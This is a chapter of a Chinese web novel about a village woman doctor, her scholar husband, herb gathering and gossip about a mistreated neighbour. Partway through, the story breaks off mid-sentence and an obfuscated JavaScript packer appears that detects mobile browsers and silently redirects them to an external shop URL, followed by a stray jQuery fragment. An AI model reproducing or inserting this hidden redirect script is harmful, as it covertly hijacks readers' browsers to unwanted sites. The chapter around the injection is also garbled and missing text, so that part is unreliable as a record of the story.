文趣网 > 都市小说 > 女郎中和弱书生 > 63. 陈年旧事
    过完上元佳节,天气慢慢好转起来,萧盈也开始忙碌,先是找学徒的事儿,虽然不要她操心什么,但她也得把把关,免得招来吊儿郎当的二流子,徒惹她阿爷生气;再是曾如意说亲,一旦过完年怕是两边就要定个日子见面相看;还有给江霄找私塾,她去镇上摆摊,一桩桩一件件都不是一蹴而就的事。

    “今年月娘没回来,婶子去看过她没,身体怎么样?”

    一整个冬天在家里都待闷了,天色一晴萧盈就约了许蝉娘上山,这时候村里人要么开始培育稻苗要么就在翻地准备种大豆蔬菜,萧家不种这些,许家则暂时用不上许蝉娘,因此两人闲得很,一拍即合立马背着竹篓拿着柴刀出门了。

    “去啦,她好着呢,肚子都这么大了。”许蝉娘用手在腰腹上比划了下,“姐夫和她公婆都对她很好,每天吃了睡睡了吃的,就是孩子有点爱折腾人,总是想吐,我娘还送了一大缸酸菜过去,说我姐打小就爱吃那个,说不定能止吐。”

    “那就好,过年我没抽出时间,否则也该过去看看她的。”屈指算来,也有五个多月了,月份越大越要小心谨慎,萧盈也多加几分关心。

    “这有什么,阿姐让我和你说等天好些了再去,雨雪天路滑风又大,就是坐牛车都容易翻,脸还被刮得难受。”

    萧盈点头,随手捡起地上的树枝往竹篓里扔。

    许蝉娘刚准备弯腰也捡两根,就看见不远处大片的新鲜绒蒿,她忙拍了拍萧盈手臂,快步上前采摘起来。

    “没想到今天运气还不错,四婶就爱吃这个,这里的够她吃几顿了。”

    萧盈也眼前一亮,绒蒿也叫茵陈,算是一味中药,能治的还挺多,什么中暑头痛呕吐积食腹泻经水过多等等,不过得是秋天的老绒蒿才能入药,春季嫩苗的只能当做野菜吃。

    她蹲下身来也采了一捧,足够炒一盘菜就收了手,打算等五六月的时候再来这地方看看。

    “对了,你还记得叶家的长杏姐吗?”许蝉娘冷不丁问道。

    萧盈先是一愣,“谁?”忽然又反应过来,“你说的是叶长松大哥的妹妹?”

    她听村里的老人说起过,叶家原本是有三儿两女的,但小儿子幼年的时候溺水没了,大女儿又被叶守根嫌弃是个姑娘家赔钱货,不知道卖到哪里去了,本来小女儿出生后险些也被卖掉,是方桃娘拖着刚生产的身子,血淋淋走到村长和里正家门口哀求,求得他们两人出面迫使叶守根收手,但即使这样小女儿刚过十五岁,就被叶守根寻了个夫家嫁出去了。

    这么些年也不见嫁出去的姑娘回来,竟似断了亲般从没走动过,因此刚听见这名字时,萧盈都呆住了。

    “对,就是她。”许蝉娘把割下的绒蒿装好,起身和人继续往上走,“我小姑嫁去了周家庄,她这次回来,说长杏姐过得很苦。”

    “等等,等等!”萧盈忙不迭打断她的话,“长杏姐嫁去的周家庄吗?”

    “是啊,你不知道吗?”

    “我应该知道吗?”萧盈反问得很有底气,她掰着手指算了算,“长杏姐出嫁那年我才四岁,你也才两岁吧!”

    许蝉娘吐了吐舌头,不好意思的道:“我忘了,因为小姑她有时候回来会说两句,我听见了就记得了。”

    萧家人丁单薄,很多村里的八卦消息都是她们从大人那里听说后告诉她的,叶长杏嫁得远也从不回来,叶家更没人说去看看,和萧盈又实在不熟悉,不知道才正常。

    “你赶紧说说,长杏姐怎么了?”

    许蝉娘握着柴刀砍去面前挡路的树枝,叹着气道:“还不是那些事,当初叶家给她挑了个大了一轮的夫家,说是成亲,实际就是被卖出去了,我娘说光聘银都八贯钱呢!”

    山林刚被雨雪清洗冲刷过,放眼望去的树木分外灵秀青翠,吸入肺腑的空气虽还夹带着冬日的寒意,却清新又舒畅,脑子都比平常精神,两人走累了就随地找了块干净的石头坐着休息,手里拽着野草根编蚂蚱玩。

    “老郎中应该不会和你说这些,我听我奶念叨的,她丈夫是前头妻子难产没了着急另娶回家照顾孩子,大儿子八岁了,小女儿刚出生,没娘不行,所以才愿意拿高聘礼。”

    萧盈默默算了下,乍舌:“那长杏姐那个继子今年都二十一了,成亲了吧?”

    “就是成亲惹出来的祸。”许蝉娘皱着眉,颇有些打抱不平:“长杏姐那丈夫虽然老了些,但干活还算麻利,也不打人,凑活着能过吧,我小姑一开始还说总比待在叶家好,但许是小时候被叶老头苛待得身体差,嫁过去五六年只生了个女儿,男人态度就有些不好了,越发看重大儿子,前年可算是生了个儿子,但那家老大也十七八要说亲了。”

    许蝉娘现在提起叶守根就恨不得唾他两口,他们村子里有这种人存在简直就是晦气,得亏叶大哥一家已经被分出去了,不然迟早也要被叶老头压榨到死。

    “去年给了四五贯聘银好不容易娶了儿媳,但老大两口子嫌弃弟妹吃得多干活少,总是有意无意挑刺使坏,我小姑说她回来的时候长杏姐都病了三四日没起身了,也不知道现在好了没。”

    “没请郎中吗?”萧盈听了半晌,只觉得许蝉娘描述的叶长杏她似乎在哪里见到过,脑子里有个模模糊糊的印象,但转念又觉得不可能,找不到能对的上号的人。

    “说是没钱,熬一熬就过去了,大家都是这样。”许蝉娘轻嗤,“我看就是那家老大怕长杏姐花了家里的钱他能分到的就少了,抠门的铁公鸡,还不是他的就已经惦记上了。”

    萧盈抿着唇神情凝重,手上却没停下动作,几下就把草叶扭成了蚂蚱的模样。

    “叶家就一点都不管吗?”

    “谁管呢?”许蝉娘把手里的蝈蝈放下地上,弯下腰轻轻用手指按了按,草叶蝈蝈往前蹦了蹦,她唇边挂着笑,“算了,也不关我们的事,还要往上走吗?”

    “再走走吧。”萧盈想起叶家的烂摊子,他们自顾不暇,哪里来的闲心管十几年不再联系的妹妹。

    回家后萧盈就看见江霄坐在灶房门口穿针引线,虽然知道他现在会做衣服,但每次看见这一幕她都如遭雷击,贤惠的模样和整个人太不相符。

    她定了定心走上前:“怎么不在里面,门口吹风冷,阿爷呢?”

    “去找村长了,估计说学徒的事,你上山捡了什么回来?”江霄把手肘处的口子用同色碎布细细缝好,看了眼萧盈背上的竹篮,“里面待久了闷,察觉到凉意我就会进去的。”

    萧盈进屋喝了口热水,“后天我们就去镇上,给你找私塾。”

    江霄刚明白自己的感情不久,此时便有些不那么想离开家里,如果真去镇上读书,每天来回不说银钱撑不撑得住,他的身体第一个撑不住,但要是住在私塾,银钱耗费过大,旬休也只有一天,他和萧盈待在一起的时候就很短了。

    “不如,我们先在村塾上吧?”

    “那要是之后我打听好了地方再把你送到镇上,不是得给两份束脩?”

    江霄哑然,又忍不住笑,嘴角弯弯:“我是想给小郎中减轻些压力,镇上还是太费钱了,束脩加上食宿,至少也要三四贯,还不如省下来,你也轻松些。”

    萧盈摆摆手:“没事,我又不是不挣钱只能吃老本,你别担心这些,正好趁着给你打听私塾,我还能顺便打听打听其他消息。”

    江霄没问其他什么消息,只是眉宇间多了一分忧愁,他还不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934835|204737||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    完萧盈的大恩大德,以身相许人家估计也不想要,而且就他目前的情况,以身相许是报恩还是报仇都说不定。

    萧盈屈指弹了他一个脑瓜崩,“想什么呢,眉毛都皱成一团了。”

    江霄摸着额头,冲她微笑:“没想什么,小雪好像在说亲了,我打算过两天回家一趟。”

    萧盈哦哦点头,把背篓的东西一一取出来,树枝木棍就随意丢在墙角堆拢,那几把野菜被她献似的捧到江霄面前,“看!今晚吃这个。”

    江霄听她提过这个野菜,药房那边还有晒干的茵陈蒿,“我去捉条鱼回来煎?”

    附近的那条河里有鱼,个头一般,偶尔哪家想要打打牙祭又舍不得买肉就会下河捉鱼,拿回家和豆腐一起用油煎一煎,就是一道极好的美食。

    “水冷,你看看谁家有捉鱼的,买条回来吧。”

    江霄一想也是,冬天的河水冰冷刺骨,他要是下河估计立马就倒了,不值得为了一口吃的这么折腾。

    “年前买的布料还有剩,我给你做件上衣?”他琢磨了下,就算去镇上是避不开的事,也想在萧盈身上留下一点属于自己的印记,其他的不用想,但做衣服他现在可熟练了。

    萧盈张嘴就想拒绝,她的衣裳都是周围婶子们帮忙做的,换成江霄她总觉得别扭。

    “衣裳我还有,不用做新的。”顶着江霄灼灼的目光,她艰难开口,只是看着对方失落的眼神,心里也有些不得劲,索性道:“你会做鞋子吗,我有两双鞋去年都穿坏了,补也不好补。”

    这就难倒江霄了,他还没偷师到这部分。

    “我试试吧,过几天回家的时候问问我娘。”

    萧盈见状也就不管了,看她阿爷还没回来,江霄又要去买鱼,干脆把瓦罐里剩的那点热水都倒进汤婆子里塞给他,然后把门一关,也出门去村长家找人了。

    “老郎中,你这主意好,我替大家伙谢谢你啊。”

    村长咂巴了下嘴,这些年村里受萧家祖孙照顾太多,萧阿爷没收徒弟,只有孙女继承衣钵,他不止一次在想要是萧盈将来离开怎么办,后来那丫头和江霄成婚,他稍微放下了心,如今乍然听到这话,他更是喜从中来,恨不得当场摆酒和萧阿爷拜把子。

    萧阿爷哎了声:“这些年我和阿鹊在村里生活,也多亏了你和里正帮忙,我不过是教他们一点东西罢了,哪值当什么谢。”

    他不是青河村土生土长的人,更没有宗族亲戚,一个老头子带着小婴儿能住得这么舒心又安稳,从没人找麻烦,村里人也真心敬重他,说没有村长里正明里暗里的帮助是不可能的。

    村长笑容和蔼:“那咱哥俩都不说客气话,你这学徒有什么要求吗,我到时候给你仔细挑挑,放心,我绝不徇私。”

    “我和阿鹊商量过了,如果能挑那些家里穷困些的,有拼劲儿也愿意努力的最好,也算给他们一个谋生的本事,不拘男女,年纪下至十四五上至二十七八都成,太小的容易记不清东西,年纪太大的负担又太多,学这个干其他的活儿的时间势必会减少。”

    “那悟性?”

    萧阿爷道:“这个不做要求,我也没想把他们教成什么神医,能记住基础的药材治些简单的毛病就可以,到时候要真有大病,就赶紧去镇上县城。”

    村长了然地点点头,像萧阿爷和萧盈这种本事的他们也不奢望,能看小毛病治个头疼脑热就好,省一/大堆事呢。

    “行,这段时间我和陶里正仔细考虑考虑,你放心,绝对不白费你的好心。”

    萧阿爷也满意,说完了正事看时辰还早,两人就闲着唠嗑起来,万莲姑见状便让儿媳赶紧热酒炒菜招待,这可是有利村子的大事,不能怠慢了。